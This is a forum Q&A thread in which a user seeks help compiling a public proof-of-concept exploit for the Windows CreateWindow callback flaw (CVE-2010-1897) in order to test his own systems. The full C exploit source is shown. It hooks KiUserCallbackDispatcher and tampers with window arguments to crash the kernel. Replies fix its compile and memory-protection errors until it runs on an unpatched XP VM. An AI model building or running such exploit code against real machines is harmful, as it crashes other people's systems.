Still celebrating National IT Professionals Day with 3 months of free Premium Membership. Use Code ITDAY17

x
?
Solved

Compiling Microsoft Windows CreateWindow-Function Callback Vulnerability; CVE 2010-1897

Posted on 2010-08-15
15
Medium Priority
?
707 Views
Last Modified: 2013-12-04
Hello,

I tried to compile the CVE 2010-1897 vulnerability because I have to test how this affects my systems. Unfortunately I'm not as good in C++ as in .Net and other languages. I attatched the PoC-Code which can be found at http://www.coresecurity.com/content/microsoft-windows-createwindow-function-callback-bug .

I'm trying to compile the code with Visual Studio 2010 Professional. I already added the L to some strings in the function calls to solve the LPCWSTR-issue. So, now my problem:

* ( ( unsigned int * ) &trampoline [ 1 ] ) = ( unsigned int * ) handler;

In the IDE I get an error, telling me that I cannot attach a value of unsigned int * to an entity of unsigned int, but I can compile the code. If I try to run the programm it crashes at this line and the debugger is telling me that I can not write at the address where trampoline is in RAM.

Thanks,

samml
#include <windows.h>
#include <stdio.h>

#define asm __asm

///////////////////////////////////////////////////////////////////////////

void *KiUserCallbackDispatcher;

///////////////////////////////////////////////////////////////////////////

//__declspec ( naked ) void handler ( void );
void seter ( unsigned int * );
BOOL CALLBACK my_callback ( int , WPARAM , LPARAM );

///////////////////////////////////////////////////////////////////////////

char *trampoline = "\x68"               // "push"
                   "\x12\x34\x56\x78"   // "handler address"
                   "\xc3";              // "ret"

///////////////////////////////////////////////////////////////////////////

__declspec ( naked ) void handler ( void )
{
//  asm int 3

  asm pushad
  asm push esp
  asm call seter
  asm add esp,4
  asm popad

/* The first 3 "KiUserCallbackDispatcher" instructions */
  asm add esp,0x4
  asm pop edx
  asm mov eax,fs:[0x18]

/* Returning to the normal code */
  asm push dword ptr [ KiUserCallbackDispatcher ]
  asm add dword ptr [esp],0x0a
  asm ret
}

///////////////////////////////////////////////////////////////////////////

void seter ( unsigned int *base )
{
  unsigned int *p = ( unsigned int * ) base;
  static int time = 1;

/* If it's the correct call */
  if ( time == 1 )
  {
  /* Searching a known argument */
    while ( 1 )
    {
    /* If it's the interesting value */
      if ( *p == 0x00cf0000 )
      {
      /* If it's the hParent to be modified */
        if ( p [ 4 ] == 0 )
        {
        /* Writing the magic argument */
          p [ 4 ] = 0xfffffffe;      /* <<<<<<<< BUG <<<<<<<< */

        /* Closing the door */
          time ++;
        }

       /* Leaving */
        break;
      }
      else
      {
        p ++;
      }
    }
  }
  else
  {
    time ++;
  }

}

///////////////////////////////////////////////////////////////////////////

BOOL CALLBACK my_callback ( int algo , WPARAM wparam , LPARAM lparam )
{
  return ( FALSE );
}

///////////////////////////////////////////////////////////////////////////

int main ( int argc , char *argv [] )
{
  unsigned int nbytes;
  unsigned int oldp;
  HHOOK hook;

/* Resolving the KiUserCallbackDispatcher address */
  KiUserCallbackDispatcher = GetProcAddress ( GetModuleHandle (
"ntdll.dll" ) , "KiUserCallbackDispatcher" );
  printf ( "%x\n" , KiUserCallbackDispatcher );

/* Changing the privileges */
  VirtualProtect ( KiUserCallbackDispatcher , 1 ,
PAGE_EXECUTE_READWRITE , &oldp );

/* Fixing the trampoline */
  * ( ( unsigned int * ) &trampoline [ 1 ] ) = ( unsigned int * ) handler;

/* Patching the KiUserCallbackDispatcher */
  WriteProcessMemory ( ( HANDLE ) -1 , ( void * )
KiUserCallbackDispatcher , ( void * ) trampoline , 6 , ( DWORD * )
&nbytes );

/* Enabling the kernel callbacks */
  hook = SetWindowsHookEx ( WH_SHELL , ( HOOKPROC ) my_callback ,
GetModuleHandle ( NULL ) , GetCurrentThreadId () );
  hook = SetWindowsHookEx ( WH_GETMESSAGE , ( HOOKPROC ) my_callback ,
GetModuleHandle ( NULL ) , GetCurrentThreadId () );
  hook = SetWindowsHookEx ( WH_CBT , ( HOOKPROC ) my_callback ,
GetModuleHandle ( NULL ) , GetCurrentThreadId () );

/* Creating a window */
  printf ( "Creating a Window ...\n" );
  CreateWindow ( "Edit" , "Title" , WS_OVERLAPPEDWINDOW , 0 , 0 , 20 ,
30 , NULL , NULL , NULL , NULL );
  printf ( "waiting the BSOD ...\n" );

  return ( 0 );
}

Open in new window

0
Comment
Question by:samml
[X]
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
  • 9
  • 6
15 Comments
 
LVL 86

Accepted Solution

by:
jkr earned 2000 total points
ID: 33440530
There indeed seems to be an indirection problem, since the left-hand part of that assignment is not a pointer. Try
int main ( int argc , char *argv [] )
{
  unsigned int nbytes;
  unsigned int oldp;
  HHOOK hook;

/* Resolving the KiUserCallbackDispatcher address */
  KiUserCallbackDispatcher = GetProcAddress ( GetModuleHandle (
"ntdll.dll" ) , "KiUserCallbackDispatcher" );
  printf ( "%x\n" , KiUserCallbackDispatcher );

/* Changing the privileges */
  VirtualProtect ( KiUserCallbackDispatcher , 1 ,
PAGE_EXECUTE_READWRITE , (PDWORD)&oldp );

/* Fixing the trampoline */
   *( ( unsigned int * ) &trampoline [ 1 ] ) = ( unsigned int ) handler;

/* Patching the KiUserCallbackDispatcher */
  WriteProcessMemory ( ( HANDLE ) -1 , ( void * )
KiUserCallbackDispatcher , ( void * ) trampoline , 6 , ( DWORD * )
&nbytes );

/* Enabling the kernel callbacks */
  hook = SetWindowsHookEx ( WH_SHELL , ( HOOKPROC ) my_callback ,
GetModuleHandle ( NULL ) , GetCurrentThreadId () );
  hook = SetWindowsHookEx ( WH_GETMESSAGE , ( HOOKPROC ) my_callback ,
GetModuleHandle ( NULL ) , GetCurrentThreadId () );
  hook = SetWindowsHookEx ( WH_CBT , ( HOOKPROC ) my_callback ,
GetModuleHandle ( NULL ) , GetCurrentThreadId () );

/* Creating a window */
  printf ( "Creating a Window ...\n" );
  CreateWindow ( "Edit" , "Title" , WS_OVERLAPPEDWINDOW , 0 , 0 , 20 ,
30 , NULL , NULL , NULL , NULL );
  printf ( "waiting the BSOD ...\n" );

  return ( 0 );
}

Open in new window

0
 
LVL 5

Author Comment

by:samml
ID: 33440661
Ok, thanks it worked. But I had to change "ntdll.dll" in L"ntdll.dll". If I change "Edit" , "Title" in L"Edit" , L"Title" it does not work. But never mind now it works.

Another question: I'm developing under Win 7x64, fully patched.
The program works fine there, but of corse I don't get the BSOD because it is patched.
I have an unpatched XPx32 in WMware and if I try to run the program there I get an 0xc0000005-error. So I added a print right after the variable declaration. I can not see this print in the VM. ProcessExplorer says that my process is 32bit. How can I get the program running in the VM?
0
 
LVL 5

Author Comment

by:samml
ID: 33440666
I tried to run the program with OllyDbg in the VM. It says "Access violation while executing [000B0CAE]" before I see the EP.
0
The Eight Noble Truths of Backup and Recovery

How can IT departments tackle the challenges of a Big Data world? This white paper provides a roadmap to success and helps companies ensure that all their data is safe and secure, no matter if it resides on-premise with physical or virtual machines or in the cloud.

 
LVL 86

Expert Comment

by:jkr
ID: 33440695
>>But I had to change "ntdll.dll" in L"ntdll.dll". If I change "Edit" , "Title" in
>>L"Edit" , L"Title" it does not work.

Well, if you switch your project setting from UNICODE to MBCS you could use that without changing the string literals to UNICODE using the 'L' prefix.

'0xc0000005' is an acces violation. Mybe you could add some 'printf()' statements so you can see where exactly that occurs, e.g.
/* Patching the KiUserCallbackDispatcher */
printf("Patching the KiUserCallbackDispatcher\n");
  WriteProcessMemory ( ( HANDLE ) -1 , ( void * )
KiUserCallbackDispatcher , ( void * ) trampoline , 6 , ( DWORD * )
&nbytes );

/* Enabling the kernel callbacks */
printf("WH_SHELL\n");
  hook = SetWindowsHookEx ( WH_SHELL , ( HOOKPROC ) my_callback ,
GetModuleHandle ( NULL ) , GetCurrentThreadId () );
printf("WH_GETMESSAGE\n");
  hook = SetWindowsHookEx ( WH_GETMESSAGE , ( HOOKPROC ) my_callback ,
GetModuleHandle ( NULL ) , GetCurrentThreadId () );
printf("WH_CBT\n");
  hook = SetWindowsHookEx ( WH_CBT , ( HOOKPROC ) my_callback ,
GetModuleHandle ( NULL ) , GetCurrentThreadId () );

Open in new window

0
 
LVL 5

Author Comment

by:samml
ID: 33440711
>> So I added a print right after the variable declaration. I can not see this print in the VM.

I added a print right after the variable declaration.

  unsigned int nbytes;
  unsigned int oldp;
  HHOOK hook;
  printf("Variable declaration finished!\n\n");
/* Resolving the KiUserCallbackDispatcher address */
  KiUserCallbackDispatcher = GetProcAddress ( GetModuleHandle (
L"ntdll.dll" ) , "KiUserCallbackDispatcher" );

I can not see this printf. And I forgot: I get the error twice.
I think it hast to do something with the XP or the 64/32-bit. But I'm really sure that the exe is 32bit (ProcessExplorer says it while running and PEiD says it too)
0
 
LVL 86

Expert Comment

by:jkr
ID: 33440733
Are you launching the program from the Explorer or from a command prompt? The latter would be the preferred method, enuring that the output is not lost. Also - is that a "First-chance Exception"? If so, it is not a problem at all...
0
 
LVL 5

Author Comment

by:samml
ID: 33440754
>> First-chance Exception
What is that?

I launched it from Explorer and from cmd. I didn't get any output with both methods.
0
 
LVL 5

Author Comment

by:samml
ID: 33440787
If I run the program under 7x64 in debug mode I get an access violation in the line
*( ( unsigned int * ) &trampoline [ 1 ] ) = ( unsigned int ) handler;
0
 
LVL 86

Assisted Solution

by:jkr
jkr earned 2000 total points
ID: 33440823
Hmmm, I have a suspicion about a const data segment here - does the following work?
char trampoline[] = "\x68"               // "push"
                    "\x12\x34\x56\x78"   // "handler address"
                    "\xc3";              // "ret"

Open in new window

0
 
LVL 5

Author Comment

by:samml
ID: 33440945
Yes you are right. I already tried the []-thing, but I accidently used const char. Now it works. But why worked the const-char thing in the release-version.

Have you got any idea on the VMware problem?
0
 
LVL 86

Expert Comment

by:jkr
ID: 33440982
Sorry to be a bit daft, but: What was the VMware problem again?
0
 
LVL 5

Author Comment

by:samml
ID: 33441007
The exe runs on my 7x64 which is fully patched. Because of that the exploit doesn't work on my 7x64, as it should be. But I want to experiment with the exploit on an unpatched, vulnerable system. I have a XPx32 machine in VMware. If I run the same exe in this VM now I get the two 0xc0000005 errors like I described above.
0
 
LVL 86

Expert Comment

by:jkr
ID: 33441028
Ah, I thought that was fixed also? Can you try compiling that with VC++ Express in the VM and step through the code in the Debugger?
0
 
LVL 5

Author Comment

by:samml
ID: 33441157
Ok, I'm installing Visual Studio in the VM now....
0
 
LVL 5

Author Comment

by:samml
ID: 33441229
Now it works in the VM. I copied the MSVC-and-so-on-DLLs to the VM before (Yes, the ones from SysWOW64). But apparently they were somehow wrong. After I installed VS in the VM and deleted the DLLs it worked fine.
0

Featured Post

Comprehensive Backup Solutions for Microsoft

Acronis protects the complete Microsoft technology stack: Windows Server, Windows PC, laptop and Surface data; Microsoft business applications; Microsoft Hyper-V; Azure VMs; Microsoft Windows Server 2016; Microsoft Exchange 2016 and SQL Server 2016.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Envision that you are chipping away at another e-business site with a team of pundit developers and designers. Everything seems, by all accounts, to be going easily.
Container Orchestration platforms empower organizations to scale their apps at an exceptional rate. This is the reason numerous innovation-driven companies are moving apps to an appropriated datacenter wide platform that empowers them to scale at a …
The viewer will learn how to user default arguments when defining functions. This method of defining functions will be contrasted with the non-default-argument of defining functions.
The viewer will learn additional member functions of the vector class. Specifically, the capacity and swap member functions will be introduced.

721 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question